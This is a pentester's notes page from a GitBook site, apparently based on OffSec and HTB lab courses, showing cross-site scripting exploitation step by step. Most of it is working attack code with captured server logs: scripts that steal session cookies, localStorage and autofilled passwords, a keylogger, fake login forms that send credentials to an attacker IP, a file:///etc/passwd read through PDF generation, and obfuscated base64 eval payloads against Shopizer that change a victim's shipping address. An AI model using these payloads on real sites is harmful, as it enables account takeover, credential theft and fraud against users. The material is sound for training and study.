Pentest Journeys
Connect
  • Welcome!
  • Boxes
    • Categories
    • Starting Point
      • Unified
      • Three
    • Easy
      • Forest
      • Sauna
      • Active
      • Broker
      • Return
      • Timelapse
      • Support
      • Nibbles
      • Keeper
      • CozyHosting
      • Devvortex
      • Lame
      • FunBoxEasyEnum
      • Inclusiveness
      • Potato
      • Sumo
    • Medium
      • Resolute
      • Cascade
      • Monteverde
      • Intelligence
      • StreamIO
      • Loly
    • Hard
      • Mantis
      • Blackfield
      • Reel
    • Insane
      • Sizzle
      • Multimaster
      • Rebound
  • Cloud
    • Public Snapshots
  • TL;DR
    • Active Directory
      • AD Authentication
      • Access Controls
      • Recon
      • Groups
        • Account Operators
        • Backup Operators
        • DnsAdmins
        • Exchange Windows Permissions
        • Server Operators
      • Privileges
        • SeBackupPrivilege
        • SeImpersonatePrivilege
      • Permissions
        • AddSelf
        • DCSync
        • ForceChangePassword
        • FullControl
        • GenericAll
        • GenericWrite
        • Owns
        • ReadGMSAPassword
        • ReadLAPSPassword
        • WriteDACL
        • WriteOwner
      • Attacks
        • Password Spraying
        • ASREPRoasting
        • Kerberoasting
        • Silver Tickets
        • DCSync
        • Delegation
          • Unconstrained
          • Constrained
          • Resource-Based
        • Local SAM Dump
        • NTLMv2
        • Services
        • Scheduled Tasks
        • Exploits
      • Lateral Movement
        • WMI & WinRM
        • PsExec
        • Pass-the-Hash
        • Overpass-the-Hash
        • Pass-the-Ticket
        • DCOM
        • SSP Injection
      • Persistence
        • Golden Ticket
        • Shadow Copies
    • Web
      • Common Findings
        • Security Headers
        • Cookie Flags
        • SSL/TLS
      • Authentication
        • Broken Reset Logic
        • Brute Force Attacks
        • Rate Limiting
        • Session Tokens
        • MFA
        • JWTs
      • Authorization
        • IDOR / BOLA
        • IDOR / BFLA
        • Weak Access Controls
        • Automated A-B Testing
      • Injections
        • SQLi
          • SQLi 101
          • In Band
          • Blind
          • NoSQLi
          • Second Order
          • Other
        • XSS
          • XSS 101
          • Reflected
          • Stored
          • DOM-Based
          • Exploitation
          • Payloads
        • CI
          • CI
          • Filters
          • Examples
        • SSTI
          • SSTI 101
          • Twig
          • Freemarker
          • Pug
          • Jinja
          • Mustache
          • Handlebars
          • Mako
          • Case Study: Craft CMS
        • XXEI
          • XML 101
          • XXEI
      • File Inclusion
        • LFI & RFI
        • RCE
      • Cross-Origin
        • Cross-Origin 101
        • CSRF
        • CORS
      • File Uploads
      • Mass Assignment
      • WebSockets
      • Open Redirects
      • Race Conditions
      • SSRF
        • Exploitation
        • Examples
    • API
      • What is an API?
      • Useful Terms
      • Collection Creation
      • Enumeration
      • Tests
        • General
        • Security Misconfigurations
        • Authorization
          • BOLA
          • BFLA
        • Authentication
          • BFAs
          • Tokens
          • JWTs
            • Entropy Analysis
            • Signature Validation
            • Weak Signature
            • Header Injection
            • Algorithm Confusion
        • Excessive Data Exposure
        • HTTP Verb Tampering
        • Content Type Tampering
        • Improper Asset Management
        • Mass Assignment
        • SSRF
        • Unrestriced Resource Consumption
        • Unrestricted Access to Sensitive Business Flows
        • Unsafe API Consumption
    • Infra
      • Windows
      • Linux
      • FreeBSD
    • Pivoting
      • Networking 101
      • Port Foward
      • SSH Tunelling
      • Deep Packet Inspection
        • HTTP Tunneling
        • DNS Tunneling
    • Social Engineering
      • Phising
    • Cloud
      • AWS
        • Recon
    • Code Review
  • Tools
    • Web
      • Web Checklist
      • API
        • mitmweb
        • KiteRunner
        • Arjun
        • jwt_tool
      • Dirbusting
        • Fuff
        • Dirsearch
        • GoBuster
        • Wfuzz
      • Cloud
        • AWS
      • cURL
      • Hydra
      • Hakrawler
      • amass
      • WAFs
      • WhatWeb
      • Creds
      • SQLMap
      • GoWitness
      • Web Servers
        • Apache
        • Nginx
        • IIS
      • Frameworks
        • Spring
      • CMS
        • WordPress
        • Joomla
        • DNN
        • Umbraco
        • RiteCMS
      • DevOps
        • GitLab
        • Git Tools
      • BurpSuite
    • Infra
      • pspy
    • Port Scanners
      • Nmap
      • Rustscan
      • Arp-Scan
      • Netcat
      • PowerShell
    • Active Directory
      • netexec
      • impacket
      • mimikatz
      • Hounds
      • PowerView
      • SysInternals
      • net.exe
      • ldapsearch
      • BloodyAD
      • PowerView.py
      • Rubeus
      • DPAT
      • PingCastle
      • PowerUp
      • runas
      • Kerbrute
    • Passwords
      • HashID
      • Hashcat
      • John
      • DomainPasswordSpray
      • Credential Enum
    • Searchsploit
    • Metasploit
      • 101
      • Payloads
      • Post-Exploitation
      • Resource Scripts
    • Usernames
    • Vulnerability Scanners
      • Nuclei
      • Nikto
    • Text
      • jq
      • grep
      • awk
      • sed
      • tr
      • printf
    • Output
      • tee
    • Pivoting
      • Ligolo-ng
      • Sshuttle
    • Shells
      • Reverse Shells
      • Webshells
      • Upgrade
      • Listeners
        • Socat
        • Pwncat
        • Nc
    • Traffic Capture
    • File Transfers
    • Crypto
    • Files
    • Images
    • Evil-WinRM
    • KeePass
    • Random Scripts
  • Services
    • TCP
      • Remote Access
        • SSH (22)
        • RDP (3389)
        • WinRM (5985,5986)
      • Shares
        • FTP (21)
        • NFS (111, 2049)
        • SMB (139, 445)
      • LDAP (389, 636)
      • DNS (53)
      • SMTP (25,587)
      • DISTCC (3632)
      • AFS (1978)
      • DBMS
        • SQL
          • MSSQL (1433)
          • Oracle (1521)
          • MySQL (3306)
          • MariaDB (3306)
          • PostgreSQL (5432)
        • NoSQL
          • Aerospike (3000-3005)
          • MongoDB (27017)
    • UDP
      • SNMP (161)
  • OTHER
    • Exploits
      • Screen
    • CLIs
      • CMD
      • PowerShell
  • Package Managers
    • vevn
    • uv
  • Blue Team Stuff
    • Logs
      • System Logs
      • Apache2
      • Volatile Data
    • Traffic Analysis
      • Wireshark
Powered by GitBook
On this page
  • Session Hijacking
  • Stealing Local Secrets
  • Keylogging
  • Stealing Saved Passwords
  • Phishing Users
  • Phishing Users (2)
  • XSS to LFI
  • Shopizer
  • Recon
  • Payload Creation
  • Exploitation

Was this helpful?

  1. TL;DR
  2. Web
  3. Injections
  4. XSS

Exploitation

PreviousDOM-BasedNextPayloads

Last updated 9 months ago

Was this helpful?

All the content below is based on OffSec's course.

.js files containing pure JavaScript payloads need to be used with a tag that will automatically execute them, e.g. <script>. They cannot be used with Client XSS vulnerabilities that use innerHTML.

Session Hijacking

We can create a malicious JavaScript file and exfiltrate the target's session cookie.

xss.js
// save the value of the cookie in a variable
let cookie = document.cookie
// URL-encode the variable
let encodedCookie = encodeURIComponent(cookie)

// make a GET request to our attacker machine exfiltrating the cookie
fetch("http://192.168.45.214/exfil?data=" + encodedCookie)

We can serve the payload using the same script as above.

<script src="http://192.168.45.214/xss.js"></script>

When the target clicks the malicious link, we will receive their cookie.

$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.198.101 - - [05/Aug/2024 12:07:13] "GET /xss.js HTTP/1.1" 200 -
192.168.198.101 - - [05/Aug/2024 12:07:13] code 404, message File not found
192.168.198.101 - - [05/Aug/2024 12:07:13] "GET /exfil?data=session%3DSomeExampleCookie HTTP/1.1" 404 -
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.198.101 - - [05/Aug/2024 12:15:53] "GET /xss.js HTTP/1.1" 200 -
192.168.198.101 - - [05/Aug/2024 12:15:53] code 404, message File not found
192.168.198.101 - - [05/Aug/2024 12:15:53] "GET /exfil?data= HTTP/1.1" 404 -

Stealing Local Secrets

Type
Description
Accessed by

sessionStorage

Stores the data until the tab is closed

window.sessionStorage

localStorage

Stores the data until explicitly deleted

window.localStorage

To exfiltrate localStorage, we will convert the object into a string, URL-encode it, and use fetch to exfil the data.

xssLocalStorage.js
let data = JSON.stringify(localStorage)
let encodedData - encodeURIComponent(data)
fetch("http://<attackerIP>/exfil?data=" + encodedData)
// injected payload
<script src="http://192.168.45.214/xssLocalStorage.js"></script>
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.45.214 - - [05/Aug/2024 16:54:47] "GET /xssLocalStorage.js HTTP/1.1" 200 -
192.168.45.214 - - [05/Aug/2024 16:54:47] code 404, message File not found
192.168.45.214 - - [05/Aug/2024 16:54:47] "GET /exfil?data=%7B%22BROWSER_OPT_KEY%22%3A%22%7B%5C%22httpOnlyCookie%5C%22%3A%7B%5C%22title%5C%22%3A%5C%22Use%20HttpOnly%20Cookie%5C%22%2C%5C%22value%5C%22%3Afalse%7D%2C%5C%22nonHttpOnlyCookie%5C%22%3A%7B%5C%22title%5C%22%3A%5C%22Use%20Non-HttpOnly%20Cookie%5C%22%2C%5C%22value%5C%22%3Atrue%7D%2C%5C%22phishing%5C%22%3A%7B%5C%22title%5C%22%3A%5C%22Blindly%20enter%20credentials%5C%22%2C%5C%22value%5C%22%3Afalse%7D%2C%5C%22savedPasswords%5C%22%3A%7B%5C%22title%5C%22%3A%5C%22Use%20stored%20password%5C%22%2C%5C%22value%5C%22%3Afalse%7D%2C%5C%22keyStrokes%5C%22%3A%7B%5C%22title%5C%22%3A%5C%22Simulate%20keystrokes%5C%22%2C%5C%22value%5C%22%3Afalse%7D%2C%5C%22localStorage%5C%22%3A%7B%5C%22title%5C%22%3A%5C%22Data%20in%20Local%20Storage%5C%22%2C%5C%22value%5C%22%3Afalse%7D%7D%22%7D HTTP/1.1" 404 -

Keylogging

Keylogging is useful when our target is the user rather than the application, but it is limited in the sense that only the current user tab is logged. The JavaScript event for keypresses is keydown, which need to be passed into the addEventListener function which also accepts a callback function to run for each keydown event.

xssKeylogger.js
function logKey(event){
    fetch("http://192.168.45.214/k?key=" + event.key)
}

// for each keypress, execute the callback function
document.addEventListener('keydown', logKey);
// XSS payload
<script src='http://192.168.45.214/xssKeylogger.js'></script>
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.45.214 - - [06/Aug/2024 06:37:32] "GET /xssKeylogger.js HTTP/1.1" 200 -
192.168.198.101 - - [06/Aug/2024 06:37:36] "GET /xssKeylogger.js HTTP/1.1" 200 -
192.168.198.101 - - [06/Aug/2024 06:37:37] code 404, message File not found
192.168.198.101 - - [06/Aug/2024 06:37:37] "GET /k?key=I HTTP/1.1" 404 -
192.168.198.101 - - [06/Aug/2024 06:37:37] code 404, message File not found
192.168.198.101 - - [06/Aug/2024 06:37:37] "GET /k?key=f HTTP/1.1" 404 -
192.168.198.101 - - [06/Aug/2024 06:37:37] code 404, message File not found
192.168.198.101 - - [06/Aug/2024 06:37:37] "GET /k?key= HTTP/1.1" 404 -
192.168.198.101 - - [06/Aug/2024 06:37:37] code 404, message File not found
192.168.198.101 - - [06/Aug/2024 06:37:37] "GET /k?key=I HTTP/1.1" 404 -
<SNIP>

# extract the keystrokes
$ grep 'key' keylogger_output.txt | awk -F'=' '{print $2}' | grep -o '^[a-zA-Z0-9{}]' | tr -d '\n'
IfItypealotonmykeyboardRyuggythinksImworkinghardOS{<SNIP>}

Stealing Saved Passwords

If a password manager application autofills any login form, this information can be extracted via XSS. Password managers search for combination of a username or email input and an input that has type attribute set to password.

xssSavedPasswords.js
// save the body of the document into a var
let body = document.getElementsByTagName("body")[0]

// create the username element
var u = document.createElement("input");
u.type = "text";
u.style.position = "fixed";
//u.style.opacity = "0";

// create the password element
var p = document.createElement("input");
p.type = "password";
u.style.position = "fixed";
//u.style.opacity = "0";

// append elements to the body
body.append(u)
body.append(p)

// set a GET request after a 5 second timeout
setTimeout(function(){
    fetch("http://192.168.45.214/k?u=" + u.value + "&p=" + p.value)
    }, 5000);
// XSS payload
<script src='http://192.168.45.214/xssSavedPasswords.js'></script>
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.198.101 - - [06/Aug/2024 07:12:54] "GET /xssSavedPasswords.js HTTP/1.1" 200 -
192.168.198.101 - - [06/Aug/2024 07:12:59] code 404, message File not found
192.168.198.101 - - [06/Aug/2024 07:12:59] "GET /k?u=Ryuggy&p=ShavedHeadsFTW HTTP/1.1" 404 -

Phishing Users

Since we have full access to the HTML document, we could replicate an existing login page and change its action attribute to redirect the credentials to us (Figure 3).

We can create a script that fetches the login page, replaces the current page's HTML with the fetched content, and then updates the first form's action URL and method.

xssPhishing.js
// fetch the content of the login page and access the response using 'then'
fetch("login").then(res => res.text().then(data => {
        // replace the current HTML content with the fetched HTML content
        document.getElementsByTagName("html")[0].innerHTML = data
        // update the action attribute to point to the malicious server
        document.getElementsByTagName("form")[0].action = "http://192.168.45.214"
        // update the method attribute from POST to GET
        document.getElementsByTagName("form")[0].method = "get"
}))
// XSS payload
<script src='http://192.168.45.214/xssPhishing.js'></script>
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.198.101 - - [06/Aug/2024 07:42:32] "GET /xssPhishing.js HTTP/1.1" 200 -
192.168.198.101 - - [06/Aug/2024 07:42:41] "GET /?username=gullible&password=IMaybeGullibleButMyPasswordsAreStrong HTTP/1.1" 200 -

Phishing Users (2)

login.html
<!-- the action to perform -->
<form action="http://192.168.45.214/login" method="get">

  <div class="container">
    <!-- a label and input field pair for entering a username. -->
    <label for="uname"><b>Username</b></label>
    <input type="text" placeholder="Enter Username" name="uname" required>
    <!-- a label and input field pair for entering a password. -->
    <label for="psw"><b>Password</b></label>
    <input type="password" placeholder="Enter Password" name="psw" required>
    
    <!-- the submit button -->
    <button type="submit">Login</button>
  </div>

</form>

If we spin up an HTTP server and test our script, we can see that it is working as intended (Figure 5).

const script = document.createElement('script');
// point the element's source to our malicious payload
script.src = 'http://192.168.45.214/xssPhishingLogin.js';
script.async = true;
document.body.appendChild(script);

In order to place it within our <img>-based XSS payload, we need to convert the above code into a one-liner by removing all the white space.

<img src="/" onerror='const script = document.createElement("script");script.src = "http://192.168.45.214/xssPhishingLogin.js";script.async = true;document.body.appendChild(script);'>

Finally, we need to create the xssPhishingLogin.js file. We need to use this to essentially replace the HTML code of the List application with the HTML code of our login form. For doing this, we need to convert our login.html code into a one-liner and use innerHTML to make the swap.

xssPhishingLogin.js
document.getElementsByTagName("html")[0].innerHTML = '<form action="http://192.168.45.214/login.html" method="GET"><div class="container"><label for="uname"><b>Username</b></label><input type="text" placeholder="Enter Username" name="uname" required><label for="psw"><b>Password</b></label><input type="password" placeholder="Enter Password" name="psw" required><button type="submit">Login</button></div></form>'

Now that everything is in place, by injecting our XSS payload into the vulnerable field, the target user will be redirected to our login form, and we should receive their credentials.

$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.198.101 - - [06/Aug/2024 14:13:45] "GET /xssPhishingLogin.js HTTP/1.1" 200 -
192.168.198.101 - - [06/Aug/2024 14:13:51] "GET /login.html?uname=IDontHackStuff&psw=OS%7B<SNIP>%7D HTTP/1.1" 200 -

XSS to LFI

The site tracking.inlanefreight.local accepts a tracking number and generates a PDF document. The tracking number gets reflected in the PDF (Figure 16).

The input field takes any input, not just numbers, and accepts both HTML and JS (Figure 17).

<h1>test</h1>
<script>document.write('TESTING THIS')</script>
<script>
x=new XMLHttpRequest;
x.onload=function(){  
document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>

Shopizer

Recon

In Shopizer's Products > Handbags tab, we notice the /ref=c:2 string which resembles a URL parameter but it is missing the ?. Inspecting the page's source code, we see that this string is used in multiple URIs as well as in the loadCategoryProducts() method (Figure 12).

We can try to inject a canary and see whether it gets reflected within the loadCategoryProducts() method, and this is indeed the case (Figure 13.1). When we try to escape using a single quote and inject valid JavaScript code, the application adds another single quote at the end of the payload automatically (Figure 13.2).

After trying different things, we find a way to inject and execute our code by using plus signs (+) instead of semicolons (;) (Figure 14).

Payload Creation

xssShopizer.js
alert()
// the final XSS payload
'+eval(atob("alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDUuMjE0L3hzc1Nob3BpemVyLmpzJyk="))+'

Although the XSS payload worked as intended, we get an Error alert right after it (Figure 18). If we repeat the process, we will notice that sometimes the Error comes before our payload, which prevents the payload to be executed.

As we can see via the browser's Console tab, the cause of the Error message might be associated with malformed syntax (Figure 19).

If we wrap our payload with the btoa() method in order to Base64 the whole payload, the message gets away (Figure 20).

'+btoa(eval(atob("alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDUuMjE0L3hzc1Nob3BpemVyLmpzJyk="))+'

Exploitation

Under My Account > Billing & shipping information there is the option Add new address. This POST request includes the customerId parameter, but it appears to be optional (Figure 22).

We can create a JavaScript payload that sends the above request using the target user's cookie, and therefore, changing their address to an address we control so we can redirect their orders.

xssShopizerAddress.js
fetch('http://xss/shop/customer/updateAddress.html',{
    // setting the HTTP method
    method: 'POST',
    // the payload will be hosted on the same domain as the application
    // which allows the browser to send the JSESSIONID cookie since the
    // request won't be cross-origin
    mode: 'same-origin',
    credentials: 'same-origin',
    headers: {
      'Content-Type':'application/x-www-form-urlencoded'
    }, 
    body:'customerId=&billingAddress=false&firstName=hax&lastName=hax&company=&address=hax&city=hax&country=AL&stateProvince=z&postalCode=z&phone=z&submitAddress=Change address'
  })
// the XSS payload
'+btoa(eval(atob("alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDUuMjE0L3hzc1Nob3BpemVyQWRkcmVzcy5qcycp")))+'

We can also craft an XSS payload to extract the user's stored credentials.

xssSavedPasswords.js
let body = document.getElementsByTagName("body")[0]

var u = document.createElement("input");
u.type = "text";
u.style.position = "fixed";
//u.style.opacity = "0";

var p = document.createElement("input");
p.type = "password";
p.style.position = "fixed";
//p.style.opacity = "0";

body.append(u)
body.append(p)

setTimeout(function(){
    fetch("http://192.168.45.214/k?u=" + u.value + "&p=" + p.value)
    }, 5000);
// the XSS payload
'+btoa(eval(atob("alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDUuMjE0L3hzc1NhdmVkUGFzc3dvcmRzLmpzJyk=" )))+'
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.228.101 - - [07/Aug/2024 14:19:51] "GET /xssSavedPasswords.js?_=1723036791071 HTTP/1.1" 200 -
192.168.228.101 - - [07/Aug/2024 14:19:56] code 404, message File not found
192.168.228.101 - - [07/Aug/2024 14:19:56] "GET /k?u=AmandaGomesCarvalho@offsec.com&p=ALERT!how<SNIP>? HTTP/1.1" 404 

If the cookie has the flag set, JavaScript cannot access it, thus, we can't exfiltrate its value.

Browsers have two types of storage available: and .

This time the application does not have its own login page, so we will have to create one and redirect the target user to it. We can find boilerplate HTML login form code, such as , and remove the unecessary parts for simplicity. We will need to change the action and method atrributes of the form element so that it sends a GET request to our malicious server.

The application uses the method to reconstuct the table (Figure 6), which means that we can't use the <script> tag in order to inject and execute a .js file directly. However, we use the <img> tag.

We need to find a way to execute our payload (xssPhishingLogin.js) via the <img> tag. This can be achieved by within the <img> tag itself. Again, we will remove the unecessary parts from the code, and point it to our malicious server.

The below example is based on HTB's module.

Following and post that use , we can try to achieve LFI (Figure 19).

The example below is based on OffSec's course.

To avoid any potential restrictions that might exist while passing the payload through the URL, we will try and load it from a remote file. When inspecting Shopizer's site map, we notice that it uses the library (Figure 15), thus, we might be to use method.

We will first create a test payload file (xssShopizer.js) to see if everything works as it should. Because we need to inject our XSS payload directly into the URL, we will also need to encode it. We will use the method to Base64 encode the payload, and then use the resulting string within the method in order to decode it (Figure 16).

Finally, in order for our payload to be executed, we will wrap the atob() method with the method. We also need to make sure to use the required ' and + signs (Figure 17).

We have successfully enumerated an XSS vulnerability and constructed an executable payload. Unfortunately, when logging into the application, the JSESSIOND cookie sets the attribute to true (Figure 21). As a result, we won't be able to access this with JavaScript.

WEB-200
HttpOnly
sessionStorage
localStorage
this
innerHTML
creating a script element
Web Enumeration & Exploitation
this
this
XMLHttpRequest
WEB-200
jQuery
jQuery.getScript()
window.btoa()
window.atob()
eval()
HttpOnly
Figure 2: Exfiltrating saved passwords.
Figure 3: Inspecting the login form's code.
Figure 4: Exfiltrating user credentials via a phishing attack.
Figure 5: Testing the login.html file.
Figure 6: Inspecting the list.js code.
Figure 7: Injecting the XSS payload.
Figure 17: The input gets reflected within the generated PDF.
Figure 18: Testing HTML injection.
Figure 19: HTML Injection to LFI.
Figure 12: Inspecting the application's source code.
Figure 13: Testing for Reflected XSS.
Figure 14: Successfully executing a Reflected XSS attack.
Figure 15: Inspecting Shopizer's resources folder.
Figure 16: Base64 encoding and decoding the XSS payload.
Figure 17: Successfully execute a remote JavaScript file via an XSS vulnerability.
Figure 18: The JavaScript error popup after the original payload is executed.
Figure 19: Enumerating the root cause of the Error message.
Figure 20: Getting rid of the Error message.
Figure 21: Inspecting the application's cookies.
Figure 22: Inspecting the updateAddress POST request.
Figure 23: Testing our XSS attack.